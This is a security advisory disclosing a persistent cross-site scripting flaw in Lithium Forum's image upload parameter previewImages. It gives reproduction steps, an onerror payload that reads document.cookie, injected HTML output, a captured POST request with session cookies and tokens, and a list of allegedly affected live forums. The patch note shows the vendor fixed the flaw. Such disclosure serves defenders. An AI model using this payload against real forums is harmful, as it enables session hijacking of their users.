Lithium Forum Cross Site Scripting

`Document Title:  
===============  
Lithium Forum - (previewImages) Persistent Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1520  
  
  
Release Date:  
=============  
2015-12-18  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1521  
  
  
Common Vulnerability Scoring System:  
====================================  
4.6  
  
  
Product & Service Introduction:  
===============================  
Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco,   
Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and Zürich. Lithium was founded in 2001 as   
a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular   
gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as   
Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise   
customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T.  
  
(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Lithium_Technologies )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Lithium Forum online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-06-13: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)  
2015-06-15: Vendor Notification (Security Team)  
2015-09-30: Vendor Response/Feedback (Security Team)  
2015-11-12: Vendor Fix/Patch (Developer Team)  
2015-12-18: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Lithium Technologies  
Product: Lithium Forum - Web Application (API) 2015 Q2  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side input validation web vulnerability has been discovered in the official Lithium Forum online service web-application.  
The vulnerability allows remote attacker to inject own malicious script codes to the application-side of the vulnerable module/function.  
  
The vulnerability is located at the previewImages value of the file upload module. Remote attackers are able to inject malicious script codes   
to the file upload module POST method request to compromise the `Community > Albums (unmoderated%3Amedia)` module. The attack vector of the   
vulnerability is located on the application-side of the service and the request method to inject is POST. The execution point is the vulnerable   
Albums listing service. Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application   
like ebay, vodafone, paypal, microsoft, skype and sony.  
  
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7.   
Exploitation of the persistent web vulnerability requires a low privilege web application user account and low user interaction (click or forward).   
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects, persistent load of   
malicious script codes or persistent web module context manipulation.  
  
Affected Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Lithium Forum - Community > File Upload (Image)  
  
Vulnerable Parameter(s):  
[+] previewImages  
  
Affected Service(s):  
[+] Lithium Forum - Community > Albums (unmoderated%3Amedia)  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Register an lithium forum account and login to the web-application   
2. Open link /t5/media/gallerypage  
3. click add images  
4. Upload image with name "><img src="x" onerror=alert(document.cookie)>.png   
5. Click select an album and save   
6. The first execution of the payload occurs in the comment delete function the second execution occurs in the album to authorize listing  
7. Successful reproduce of the vulnerability!  
  
  
PoC: Delete Comment - Lithium Forums  
<div class="MessageSubject">   
<a class="lia-image-preview-data-cell lia-link-navigation" id="link_3"   
href="/t5/media/gallerypage/comment-id/9605/image-id/55606i18101F75D8F919DB#M9605"><img title=""><img src="x" onerror=alert(document.cookie)>.png" alt="">  
<img src="x" onerror=alert(document.cookie)>.png" id="display_0" src="/t5/image/serverpage/image-id/55606i18101F75D8F919DB/image-size/tiny?v=mpbl-1&px=48"/></a>  
<h2 class="message-subject">  
<a class="lia-link-navigation" id="link_4" href="/t5/media/gallerypage/comment-id/9605/image-id/55606i18101F75D8F919DB#M9605">  
Re: "><img src="x" onerror=alert(document.cookie)>.png"><img src="x" onerror=alert(document.cookie)>.png</a>  
</h2>  
</div>  
  
  
PoC: Album Title - Lithium Forums  
<div class="lia-panel-content">  
<div class="MessageList lia-component-forums-widget-message-list" id="messageList">  
<a name="message-list"> </a>  
<div class="t-data-grid single-message-list">  
<table class="lia-list-wide">  
<thead id="columns"><tr><th scope="col" class="messageDiscussionStyleIconColumn lia-data-cell-secondary lia-data-cell-icon t-first"></th>  
<th scope="col" class="messageSubjectColumn lia-data-cell-primary lia-data-cell-text">  
Betreff  
</th>  
<th scope="col" class="messagePostDateColumn lia-data-cell-secondary lia-data-cell-date">   
Gesendet</th><th scope="col" class="unmoderatedActionsColumn lia-data-cell-secondary lia-data-cell-text t-last"></th></tr></thead><tbody>  
<tr class="lia-list-row lia-row-odd lia-js-data-messageUid-4006000 lia-js-data-messageRevision-1 lia-list-row-thread-unread t-first t-last">  
<td class="messageDiscussionStyleIconColumn lia-data-cell-secondary lia-data-cell-icon">  
<img id="imagedisplay" src="http://skypec.i.lithium.com/skins/images/11CF6CA4D7B6034EC014DA2E625FADA3/base/images/icon_media_thread.png"></td>  
<td class="messageSubjectColumn lia-data-cell-primary lia-data-cell-text">  
<div class="MessageSubjectCell"><div class="MessageSubject">  
<a class="lia-image-preview-data-cell lia-link-navigation lia-panel-dialog-trigger lia-panel-dialog-trigger-event-click lia-js-data-dialogKey--1544984023"   
id="link_12" href="/t5/media/gallerypage/comment-id/58735/image-id/123916i2C803A8AFE9DD0B6#M58735">  
<img title="[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]"><img src="x" onerror=alert(document.cookie)>.png"   
alt=""><img src="x" onerror=alert(document.cookie)>.png"   
id="display" src="/t5/image/serverpage/image-id/123916i2C803A8AFE9DD0B6/image-size/tiny?v=mpbl-1&px=48"></a>  
? <h2 class="message-subject">  
<a class="lia-link-navigation lia-panel-dialog-trigger lia-panel-dialog-trigger-event-click lia-js-data-dialogKey--1544984023"   
id="link_13" href="/t5/media/gallerypage/comment-id/58735/image-id/123916i2C803A8AFE9DD0B6#M58735">  
Betreff: "><img src="x" onerror=alert(document.cookie)>.png"><img src="x" onerror="alert(document.cookie)">.png</a>  
</h2></div></div></td>  
<td class="messagePostDateColumn lia-data-cell-secondary lia-data-cell-date">  
<span class="DateTime">  
<span title="?12-06-2015 15:31" class="local-friendly-date">  
vor 57 Sekunden  
</span></span>   
</td><td class="unmoderatedActionsColumn lia-data-cell-secondary lia-data-cell-text">   
<div class="lia-button-group-left">   
<span class="lia-button-wrapper lia-button-wrapper-secondary lia-component-forums-action-edit-message">  
<a class="lia-button lia-button-secondary edit-message" id="editMessage" href="/t5/forums/editpage/board-id/%40media%40public/message-id/58735">Bearbeiten</a></span>  
</div></td></tr>   
</tbody></table> </div></div>   
<div class="lia-menu-bar lia-menu-bar-bottom bottom-block">  
<div class="lia-decoration-border-menu-bar">   
<div class="lia-decoration-border-menu-bar-top">  
<div> </div></div>   
<div class="lia-decoration-border-menu-bar-content">  
<div>   
<div class="lia-menu-bar-buttons">  
</div> </div></div>  
<div class="lia-decoration-border-menu-bar-bottom">   
<div> </div> </div>  
</div>  
</div></div>  
  
  
--- PoC Session Logs [POST] ---  
14:45:03.620[1031ms][total 1031ms]   
Status: 200[OK]  
POST http://community.[WEBSITE].com/t5/media/v2/gallerypage.albumgallerylist.selectanalbumform.selectanalbumform.form.form   
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[-1] Mime Type[application/json]  
Request Headers:  
Host[community.[WEBSITE].com]  
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
Cache-Control[no-cache]  
Lithium-Ajax-Request[true]  
X-Requested-With[XMLHttpRequest]  
Referer[http://community.[WEBSITE].com/t5/media/gallerypage/]  
Content-Length[3326]  
Cookie[s_pers=%20s_fid%3D18958A2959B2CD22-1F06A54A4BDFB94B%7C1497269566320%3B%20gpv_p23%3Dskypeloginweb%252Faccount%252Flogin_simplified%7C1434112966327%3B%20s_nr%3D1434111166331-New%7C1497183166331%3B; s_vi=[CS]v1|  
2A928C6305013CDB-400001382002F848[CE]; mbox=PC#1432859941701-111791.21_17#1436700441|session#1434106714032-264052#1434110301|check#true#1434108501; MSFPC=ID=062a86ae8adbf044abf02f8708319e16&CS=3&LV=201505&V=1; skype-cookie-policy=1;   
__CT_Data=gpv=8&apv_22_www11=8; WRUID=0; tracking=1434108546387; LithiumVisitor=~2c1cgdFkzzMj5Napg~StPIAaB4_OrKdyO2o1kCw707YFWdnGRjkSBKJL6tk2l-TZiNYlVObacrYuY4G8vGnal2U1Twf1HueGwOcwXvog..; VISITOR_BEACON=~2Wncmgwy7hMsvHUUf~68A-  
kBIyCSC2n6uJH5bMCMpaubUmaYGYbE83LI5dQN9_c8wihHK5UBdAMMH4cDeKZbEi40VSbRXbMiqFVqa31Q..; SC=CC=:CCY=USD:ENV=:LC=en:LIM=:RS=d:TM=1434111166:TS=1434111166:TZ=:UCP=:VAT=:VER=; LiSESSIONID=BF04C8F9D98D2642CBAC3643B886CB89; s_ria=flash%2011%7C;   
s_sq=%5B%5BB%5D%5D; s_sv_sid=346493096323; frmrgtpe=1-4; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __atuvc=7%7C23; LithiumUserInfo=9034556; suuid=cf385a5c-4d49-4a18-8612-dc3bf0d25925; ecsEligibility=1; s_cc=true; s_fid=1D6C86567438D711-  
3C4FBDB481E7BEE1; gpv_p23=support%2Fforum%2Ft5%2Fmedia%2Fgallerypage%2F; s_nr=1434116701473-Repeat]  
X-Forwarded-For[8.8.8.8]  
Connection[keep-alive]  
Pragma[no-cache]  
Post Data:  
submitContext[true]  
liaFormContentKey[MediaGalleryPage%3A%3Aalbumgallerylist.selectanalbumform.selectanalbumform.form%3A]  
t%3Aformdata[7IILDleLbu0mW2%2FEd3xk2hw8Ujw%3D%3AH4sIAAAAAAAAAO1YTUwTQRQeIAjyJxJFYjxwQAIK21KKQdQYRH40BAlVoh7A6XZaRmd%2FmJ122xg9efDgxZM3ExNvigc9eCMGDgYOXjRejYlXEyPGi5I4s9tCFZFuw1QOvXTTefPe%2B  
%2Ba9b968maefQbk9AcY1FMHQlwj4hiEhiKbGYQz1QRKOazF3gGCLKRYiSGVQdwRRg2p  
%2FGSGGYU77LQoUg8YUaEJ1BikMmshiNNWjqAZFBIf5VzMNHenMUka5RkvgqxltH258croUgKS5IyB1v2q7M9L9bQ7IgtQ1C26DElmGyyQY7vYcxJ7OC0vv28HNJVlB9A6p68qnuZXoy7ePZEIa8wRpgsu5KMQgQ0PU0ELiX2SAYD5lEpI46nyw8O4uaF4tBSWjoFpdFzDQMHodJqCPQD3mCzGK9diJpMlArUlRAiP7n  
MYXY9lXweXtW6VJDRNRluIGOVC%2B2j6C2QyOa4qNwoHs1RGsjKcnDzqTW0KIxc1BPYGpoWt8zvm9pbMfun2dzsoqM5YFgXcnTfGptofBYL7Y00HAThA40J5%2FpiUMLaT0h%2FkgVNkQRiTiwj18abH64%2F7XP9PRN3RGDTIGNZSGuSHa24i43ytiHm%2BVa4biYQ1bFjb0xWeRYPT7wzcu3eUS4WTuRBggCOq  
%2FUUGbnL%2FVPHLgx84pFUHZp5J3SMf89V96px7fOyUNkiC1jKbAMVwhJYjCciUDexzBBIxgwymlUskufNaIn4N2APjDxFBv%2BLIpfkaMWJnKyFNoRBUqoMWoETd53ntzzbuzoGGh5Zaj%2B%2F75jhd1Kwubl6MquqaSJ7hgHuC6lpPLy89Dq  
%2FMuNTvAkdwciyS6pPOsUuFNJUOUSpTkWedHpXePjfl5LNORLd2ZUGmSSXrhYJ%2Bs0tAoszSUO4LCFITWXLLmmhO%2BHMW6NYiedIVqQzHjfxpuKp6L2eSvcgQXMSMFOhKP2m2gdUsWO5eVDPuzMeasXKT%2FpjmvMClOQDVVmIT782ozhOYhBmrWu5XpvAwJO807ud%2FYZcbDBKsF6zbc5PMGuNhx  
%2FLcNWO8IziJLpdhk%2FB5emJ143G4FLVslkKHkWtuxEWeOBorFt2C9R5csxH5ZhoOy3raD7tv2NTC1fYYt8VbG0h9xn87aHrXu6IA7Kt%2Bvu6skxa3xF5HWtbXwGQAA]  
lia-action-token[8wKnTjwo4bb2thl22pKiJBXOC1PEHRQ83H8Alp2ozHbtM4AP3b02djR5es-q93dO]  
form_UID[form_0]  
form_instance_key[]  
previewImages[%5B%7B%22id%22%3A+%22upload_7822102130113419863.png%22%2C+%22title%22%3A+%22%5C%22%3E%3Cimg+src%3D%5C%22x%5C%22+onerror%3Dalert(document.cookie)%3E.png%22%7D%5D]  
radioGroup[existing]  
album[AlbumByUidRef%5Buid%3D81482%2ChashCode%3D-226237822%5D]  
submitContextX[Submit]  
eventListeners[%5B%5D]  
parameterOverrides[%7B%7D]  
triggerEvent[submit]  
eventTargetId[form_0]  
renderedScripts[AC_RunActiveContent.js%2CLoader.js%2Cjquery.ui.core.js%2CSpoilerToggle.js%2Cjson2.js%2CSelectAnAlbumForm.js%2CAjaxFeedback.js%2CForceLithiumJQuery.js%2CFormActions.js%2Ccontrol.js%2Cjquery.tmpl-1.1.1.js  
%2Cjquery.appear-1.1.1.js%2Cjquery.lithium-selector-extensions.js%2CDialog.js%2CLithium.js%2Cjquery.fileupload.js%2CElementMethods.js%2CAjaxSupport.js%2Cjquery.ui.position.js%2Cjquery.function-utils-1.0.js%2CSurveyLauncher.js  
%2CInputEditForm.js%2CUserNotificationWidget.js%2Cjquery.ui.dialog.js%2Cjquery.delayToggle-1.0.js%2CAngularSupport.js%2CCustomEvent.js%2Cjquery.effects.core.js%2CNamespace.js%2Cjquery.autocomplete.js%2Cjquery.ui.widget.js%2CForms.js  
%2CTooltip.js%2CDeferredImages.js%2CURI.js%2Cjquery.position-toggle-1.0.js%2Cjquery.blockui.js%2CInformationBox.js%2Cjquery.scrollTo.js%2CCache.js%2CSearchForm.js%2CProgressBar.js%2CDropDownMenu.js%2CUploadImages.js  
%2Cjquery.tools.tooltip-1.2.5.js%2Cjquery.css-data-1.0.js%2CAutoComplete.js%2Cjquery.ui.resizable.js%2Cjquery.hoverIntent-r6.js%2CAlbumGalleryList.js%2Cjquery.ui.mouse.js%2CSearchAutoCompleteToggle.js%2CNoConflict.js%2CComponents.js  
%2CLiModernizr.js%2Cjquery.clone-position-1.0.js%2CEvents.js%2Cjquery.js%2Cjquery.effects.slide.js%2Cjquery.js%2Cjquery.viewport-1.0.js%2CAuth.js%2Cjquery.progressBar-2.0.js%2Cjquery.iframe-transport.js%2CSandbox.js%2CText.js  
%2Cjquery.ui.draggable.js%2Cjquery.iframe-shim-1.0.js%2CVideo.js%2CLink.js%2Cjquery.ajax-cache-response-1.0.js]  
Response Headers:  
Date[Fri, 12 Jun 2015 13:46:53 GMT]  
Server[Apache]  
Set-Cookie[LithiumVisitor=~290UiXxXoETkeu1nM~5vPEVuim9QmJv9pRiYmBHkDC8CwUS_hMrnvLMDUNLTE012Hz10GoXfKuOOhQwcq4jwCOllPfclmujZ6mZ-huZg..; Expires=Mon, 09-Jun-2025 13:46:53 GMT; Path=/]  
X-Robots-Tag[noindex, nofollow]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Connection[close]  
Transfer-Encoding[chunked]  
Content-Type[application/json;charset=UTF-8]  
  
  
Reference(s):  
http://community.[WEBSITE].com/  
http://community.[WEBSITE].com/t5/  
http://community.[WEBSITE].com/t5/media/  
http://community.[WEBSITE].com/t5/media/v2/  
http://community.[WEBSITE].com/t5/media/v2/gallerypage.albumgallerylist.selectanalbumform.selectanalbumform.form.form  
http://community.[WEBSITE].com/t5/media/gallerypage/user-id/9034556/image-id/123916i2C803A8AFE9DD0B6#comment-on-this?signature=bsYErEEjpFgnakjT4pOqoooHFDCHKY19IC1cvZuo9y5NG7monEaibztSr67t7qgViFgmuBAVR5r30da7Vfr2xl25lkOU4y1ezEQM3PzH  
%2BlwqKDnuRpL8WVRXj51ZS6a8gkZXXNipswScC%2Ba0BTZ7PI0jw9%2FpjDdRAYLJL8T%2FdYfcLcM3znBtJ5Ne8vUlKpiPrKCICW%2BXP%2FRzRVy9GIaZCgYjWwziJS1e  
%2F8EEJSPMkpXrQYOtADjZpgoIGjAA8%2FJPkoOXJHN7n1%2BRGXv4ch7LECp7AHIT3zwTw7Q2ryL0h3DxlARSExceqzgaiWYfmlUi02IQKIbP09b%2Fyh4acr65Rg%3D%3D&date=2015-06-12+13%3A29%3A17&expiration_date=2015-06-  
14+13%3A29%3A17&partner_id=b38bf07d4373f92f5932f9e2887a32e0&skypename=live%3As-dz  
http://community.[WEBSITE].com/t5/media/gallerypage/image-id/123916i2C803A8AFE9DD0B6/user-id/9034556#feedback-success  
http://community.[WEBSITE].com/t5/premod/moderationitemspage/tab/unmoderated%3Amedia  
  
  
  
Vulnerable Site(s):  
http://www.amazon.de/Remington-HC5880-Indestructible-Haarschneider-Lithium/forum/  
https://www.paypal-community.com/t5/US-PayPal-Community/ct-p/US  
http://community.ebay.com/t5/A-Part-time-eBay-Sellers-Group/Who-is-Lithium-Technologies-Inc-Found-under-Selling-preferences/td-p/20151642  
https://www.en.adwords-community.com  
http://forums.verizon.com/t5/media/v2/gallerypage/image-id/638iEE72EA794E7870E8  
https://forums.att.com/t5/media/v2/gallerypage/image-id/26748i32A2C4F5F1C76A16  
http://community.[WEBSITE].com/t5/media/v2/  
https://community.linksys.com/t5/Media-Hub/bd-p/TechnicalSupport2  
http://community.eu.playstation.com/t5/media/v1/gallerypage/user-id/966029/image-id/435278i77B3FF47F3F21BDC  
http://forums.xfinity.com/t5/media/v1/gallerypage/user-id/54009/image-id/22931i058474C6376CA295  
http://communaute.orange.fr/t5/media/v2/gallerypage/image-id/5449i26E3C94BD827C963  
https://discussions.apple.com/thread/5737090  
http://h30434.www3.hp.com/t5/media/v1/gallerypage/user-id/314019  
https://supportforums.blackberry.com/t5/media/v2/gallerypage/user-id/139560/image-id/1246iF4B7A821A8A944B2  
http://talk.hbo.com/t5/media/v2/gallerypage/user-id/1111009/image-id/960iDD3175E57CEBE367  
http://community.f-secure.com/t5/media/v2/gallerypage/user-id/365/image-id/758iE470659201B00CF8  
https://talk.sonymobile.com/t5/media/v2/gallerypage/user-id/202/album-id/2677  
https://forums.lenovo.com/t5/media/v1/gallerypage/user-id/230839/image-id/15043i91D84DDE92BD3F70  
http://forums.juniper.net/t5/media/v2/gallerypage/image-id/11433i62DB8B9E0B7C364F  
http://my.teslamotors.com/forum/forums/10kw-laser-powered-lithium-ion-batteries  
http://www.wallstreet-online.de/diskussion/500-beitraege/1058177-1-500/lithium-technology-umsaetze-ziehen-maechtig-an#beitrag_21444129  
https://telekomhilft.telekom.de/t5/Media-Receiver/  
http://www.banktech.com/channels/commonwealth-bank-to-launch-online-social-forum/d/d-id/1296418?  
http://community.saturn.nl/t5/media/v2/gallerypage/image-id/3567i79CFA668259C2A53  
https://community.o2.co.uk/t5/media/v2/gallerypage/image-id/13061i577034177A010DF2  
https://community.spotify.com/t5/media/v2/gallerypage/image-id/2141i7CDD8F7C1499E4D0?nospellcheck=true&q=_change_me_  
http://talk.sonymobile.com/t5/media/v2/gallerypage/tab/albums  
http://community.us.playstation.com/t5/media/v2/gallerypage/user-id/750008  
https://forum.vodafone.co.uk/t5/media/v2/gallerypage/page/3  
http://community.usa.canon.com/t5/media/v2/gallerypage/image-id/5609i91277716BCCDFCE2  
https://forum.sfr.fr/t5/media/gallerypage/  
http://forum.kpn.com/t5/media/v2/gallerypage/image-id/5699iD073361E6D1D16C6  
http://comunidad.orange.es/t5/media/v2/gallerypage/image-id/2497i8215FB441CC86FD3  
https://forums.cat.com/t5/Electric-Power-Generation/ct-p/EPG  
  
  
Solution - Fix & Patch:  
=======================  
Parse and encode the title name of the albums and files to prevent persistent script code execution through the api.   
Restrict the input and disallow usage of special chars as album name value.  
  
  
Security Risk:  
==============  
The security risk of the persistent input validation web vulnerability in the album value is estimated as medium. (CVSS 4.6)  
  
  
Credits & Authors:  
==================  
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